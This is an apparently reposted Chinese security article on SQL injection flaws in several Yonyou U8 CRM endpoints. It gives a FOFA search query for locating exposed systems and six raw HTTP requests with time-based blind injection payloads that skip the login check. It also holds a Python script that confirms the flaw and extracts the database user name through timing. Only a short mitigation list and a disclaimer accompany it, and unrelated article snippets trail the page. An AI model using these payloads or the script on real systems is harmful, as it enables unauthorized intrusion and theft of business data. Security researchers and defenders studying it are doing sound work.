用友U8 CRM 多个接口存在SQL注入漏洞

news2024/9/28 11:50:36

        本文所涉及的任何技术、信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关。请遵守《中华人民共和国网络安全法》。


中华人民共和国网络安全法

第二十七条 规定

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。


0x01、产品概述

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。

0x02、漏洞描述:

用友U8 CRM客户关系管理系统多个接口存在SQL注入漏洞,攻击者可以窃取用户的隐私信息、业务数据等,造成用户信息泄露,更严重的是数据库服务器控制有很大风险被攻击者控制等相关安全问题。

0x03、资产测绘

FOFA:title="用友U8CRM"

0x04、漏洞复现测试

4.1、exportdictionary.php

GET /devtools/tools/exportdictionary.php?DontCheckLogin=1&value=1%27;WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

GET /devtools/tools/exportdictionary.php?DontCheckLogin=1&value=1%27+or+{{int(1-10)}}=(select+len((select+1)))+--+ HTTP/1.1
Host: 
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

4.2、chkService.php

GET /ajax/chkService.php?Action=chkAccountNumExists&accountNum=1%27;WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

4.3、relobjreportlist.php

POST /config/relobjreportlist.php HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bgsesstimeout-;

DontCheckLogin=1&Action=CheckRelUser&typeID=1&objType=1&ids=1');WAITFOR DELAY '0:0:4'--

4.4、setremindtoold

GET /ajax/setremindtoold.php?dID=1;WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

4.5、/config/fillbacksetting.php

GET /config/fillbacksetting.php?DontCheckLogin=1&action=delete&id=-99;WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

4.6、/config/fillbacksettingedit.php

GET /config/fillbacksettingedit.php?DontCheckLogin=1&action=edit&id=1++WAITFOR+DELAY+'0:0:5'+--+-+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bgsesstimeout-;
Connection: close

0x05、python漏洞检测脚本

以 /devtools/tools/exportdictionary.php 接口为例,其余接口可自行修改

# -*- coding: utf-8 -*-
import time
import sys
import requests
from urllib.request import Request, urlopen
from urllib.error import URLError, HTTPError

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a1b)XWEB/9165",
    "Cookie": "PHPSESSID=bgsesstimeout-",
}


def len_(url0):
    len_f = 0
    for lens in range(1, 10):
        url = (
            f"{url0}1%27;IF+((len(USER))=(select+{lens}))+WAITFOR+DELAY+%270:0:3%27+--+"
        )
        try:
            a = time.time()
            req = Request(url, method="GET", headers=headers)
            rep = urlopen(req)
            b = time.time()
            if (b - a) > 3 and (b - a) < 4:
                len_f = lens
                return len_f
        except (HTTPError, URLError, Exception) as e:
            pass
    if len_f == 0:
        print(f"find length fail !!!! please check  !!!")
        sys.exit()
    return len_f


def name_(lens, url0):
    name_p = []
    for N_char in range(lens + 1):
        for nm_asc in range(64, 127):
            url = f"{url0}1%27;IF+(ascii(substring((USER),{N_char},1))={nm_asc})+WAITFOR+DELAY+%270:0:3%27+--+"
            try:
                a = time.time()
                # print(a)
                req = Request(url, method="GET", headers=headers)
                rep = urlopen(req)
                b = time.time()
                # print(b)
                if (b - a) > 3 and (b - a) < 4:
                    print(f"on the {N_char} is:", chr(nm_asc))
                    name_p.append(chr(nm_asc).strip())
                    break
            except (HTTPError, URLError, Exception) as e:
                pass
    if name_p == 0:
        print(f"find name fail !!!! please check  !!!")
        sys.exit()
    return name_p


def poc(url0):
    sql = f"1%27;WAITFOR+DELAY+%270:0:3%27+--+"
    url = f"{url0}{sql}"
    print(url)
    try:
        a = time.time()
        req = Request(url, method="GET", headers=headers)
        rep = urlopen(req)
        b = time.time()
        print(a, b, b - a)
        if (b - a) > 3 and (b - a) < 4:
            print(f"{url0} exist vuln !!!")
            return 1
    except (HTTPError, URLError, Exception) as e:
        pass
    return 0


if __name__ == "__main__":
    url = "http://127.0.0.1"
    ph = ["/devtools/tools/exportdictionary.php?DontCheckLogin=1&value=1"]
    for path_1 in ph:
        url0 = f"{url}{path_1}"
        if poc(url0):
            name_str = "".join(name_(len_(url0), url0))
            print(f"find the name is  : {name_str}")
    print("over!!")

0x06、防护措施

1.使用预编译语句,绑定变量;

2.升级到最新版本;

3. 最小权限原则;

4.使用安全函数;

5. 输入验证和过滤;

6. 避免动态拼接SQL语句等。

目前软件已发布安全修复更新,受影响用户可以联系厂商获取补丁。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2173383.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

保姆级复现yolov7(论文复现)

保姆级复现yolov7&#xff08;论文复现&#xff09; 本文所涉及所有资源均在传知代码平台可获取 所需环境 当然深度学习环境的搭建是基础&#xff0c;详情可见(win10)&#xff1a; 【深度学习】windows10环境配置详细教程anaconda3环境变量配置win10-CSDN博客 Unbutun搭建深度学…

正则表达式的使用示例--Everything文件检索批量重命名工具

一、引言 Everything是一款非常实用的文件搜索工具&#xff0c;它可以帮助您快速定位并查找计算机中的文件和文件夹。Everything搜索文件资料之神速&#xff0c;有使用过的朋友们都深有体会&#xff0c;相对于Windows自带的搜索功能&#xff0c;使用Everything&#xff0c;可以…

C语言 | Leetcode C语言题解之第442题数组中重复的数据

题目&#xff1a; 题解&#xff1a; int* findDuplicates(int* nums, int numsSize, int* returnSize) { int *ans (int *)malloc(sizeof(int) * numsSize);int pos 0;for (int i 0; i < numsSize; i) {int x abs(nums[i]);if (nums[x - 1] > 0) {nums[x - 1] -…

$attrs 和 $listeners

通常情况下&#xff0c;父子组件之间的数据是通过 props 由父向子传递的&#xff0c;当子组件想要修改数据时&#xff0c;则需要通过 $emit 以事件形式交由父组件完成&#xff0c;而这种交互方式只存在于父子组件之间&#xff0c;多层嵌套的时候&#xff0c;处于内层的组件想要…

OpenAI o1与GPT-4o究竟强在哪里

OpenAI 的 O1 模型与 GPT-4o 相比&#xff0c;具有显著的技术进步和性能提升。以下是两者的主要区别和 O1 的进步之处&#xff1a; 推理能力&#xff1a;O1 模型在处理复杂问题&#xff08;如编程和数学&#xff09;方面表现出更强的推理能力。例如&#xff0c;在国际数学奥林匹…

使用ffmpeg合并视频和音频

使用ffmpeg合并视频和音频 - 哔哩哔哩 简介 FFmpeg是一套可以用来记录、转换数字音频、视频&#xff0c;并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含了非常先进的音频/视频编解码库libavcodec&#xff0…

【项目文档】软件系统培训方案(Doc原件2024)

1. 培训概述 2. 培训目的 3. 培训对象及要求 3.1. 培训对象 3.2. 培训人员基本要求 4. 培训方式 5. 培训内容 6. 培训讲师 7. 培训教材 8. 培训质量保证 8.1. 用户培训确认报告 8.2. 培训疑问解答 软件全套资料部分文档清单&#xff1a; 工作安排任务书&#xff0c;可行性分析报…

【JAVA开源】基于Vue和SpringBoot的师生健康管理系统

博主说明&#xff1a;本文项目编号 T 052 &#xff0c;文末自助获取源码 \color{red}{T052&#xff0c;文末自助获取源码} T052&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析…

【数据结构】排序算法系列——计数排序(附源码+图解)

计数排序 顾名思义&#xff1a;统计每个数据出现的次数。 算法思想 我们根据《算法导论》中给出对于计数排序的讨论&#xff1a; 对每一个输入元素 x, 确定小于 x 的元素个数。利用这一信息&#xff0c;就可以直接把 x 放到它在输出数组中的位置上了。例如&#xff0c;如果…

秋招即将来临,AIGC 产品经理 快速入门方法论

AIGC 产品经理是什么 AIGC 产品经理是人工智能与大数据技术融合背景下应运而生的一种新型职业&#xff0c;负责从 AI 产品的设计、开发到推广的全过程&#xff0c;确保其顺利推向市场并实现良好的商业价值。 更具体地说&#xff0c;AIGC 产品经理就是将 AI 能生产内容的能力完…

【高景一号卫星】

高景一号卫星 高景一号卫星是中国自主研发的一系列高分辨率商业遥感卫星&#xff0c;旨在满足全球民用遥感影像市场的需求。以下是对高景一号卫星的详细介绍&#xff1a; 一、基本信息 名称&#xff1a;高景一号&#xff08;SuperView-1, SV-1&#xff09;发射时间&#xf…

数据库管理-第244期 一次无法switchover的故障处理(20240928)

数据库管理244期 2024-09-28 数据库管理-第244期 一次无法switchover的故障处理&#xff08;20240928&#xff09;1 问题展现2 问题排查与处理2.1 问题12.2 问题2 3 问题分析4 总结 数据库管理-第244期 一次无法switchover的故障处理&#xff08;20240928&#xff09; 作者&…

TimeMOE: 使用稀疏模型实现更大更好的时间序列预测

传统上,预测这些趋势涉及针对每种情况的专门模型。最近的进展指向了可以处理广泛预测问题的"基础模型"。 这是9月份刚刚发布的论文TimeMOE。它是一种新型的时间序列预测基础模型,“专家混合”(Mixture of Experts, MOE)在大语言模型中已经有了很大的发展&#xff0c…

如何在ChatGPT的帮助下,使用“逻辑回归”技巧完成论文写作?

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 逻辑回归作为一种统计分析工具广泛应用&#xff0c;以解决研究中的分类问题。其主要作用在于探讨和量化自变量对因变量的影响&#xff0c;从而揭示潜在的因果关系。 在论文写作中&…

无人驾驶车联网5G车载路由器应用

无人驾驶车联网中&#xff0c;5G车载路由器的应用起到了至关重要的作用。以下是关于5G车载路由器在无人驾驶车联网中应用的详细分析&#xff1a; 5G车载路由器具备极低的时延特性&#xff0c;能够实现车与车之间、车与基础设施之间的快速通信。这对于无人驾驶技术尤为重要&…

策略模式与工厂模式的区别

《策略模式与工厂模式的区别》 策略模式&#xff08;Strategy Pattern&#xff09; 和 工厂模式&#xff08;Factory Pattern&#xff09; 都是常见的设计模式&#xff0c;虽然它们在设计目标上有一些相似之处&#xff0c;如解耦代码、增强扩展性&#xff0c;但它们的应用场景和…

做中视频计划,哪里找素材?推荐几个热门中视频素材下载网站

在做中视频计划时&#xff0c;寻找合适的素材至关重要。抖音上那些热门的中视频素材都是从哪里下载的呢&#xff1f;以下五大高清素材库值得收藏&#xff0c;赶紧来看看吧&#xff01; 蛙学网 蛙学网提供了百万级的中视频素材&#xff0c;质量高且是4K高清无水印&#xff0c;视…

crypt.h:No such file or directory 报错处理

crypt.h&#xff1a;No such file or directory 报错处理 前言&#xff1a;本文初编辑于2024年9月28日 CSDN主页&#xff1a;https://blog.csdn.net/rvdgdsva 博客园主页&#xff1a;https://www.cnblogs.com/hassle 博客园本文链接&#xff1a;https://www.cnblogs.com/has…

0基础学前端 day6 -- 搭建github pages静态网址

标题&#xff1a;如何通过 GitHub Pages 创建一个静态网站 GitHub Pages 是 GitHub 提供的一项免费服务&#xff0c;允许用户从 GitHub 仓库中托管静态网站。对于开发者和非开发者来说&#xff0c;这都是一个极其便利的工具&#xff0c;用于创建和发布个人博客、项目文档或作品…

[leetcode刷题]面试经典150题之9python哈希表详解(知识点+题合集)

为了方便理解哈希表&#xff0c;我们先从python中的字典讲起。 字典 (Dictionary) 字典是 Python 中一种内置的数据结构&#xff0c;它是一种 键值对&#xff08;key-value pair&#xff09;存储形式。每个键&#xff08;key&#xff09;都有一个对应的值&#xff08;value&a…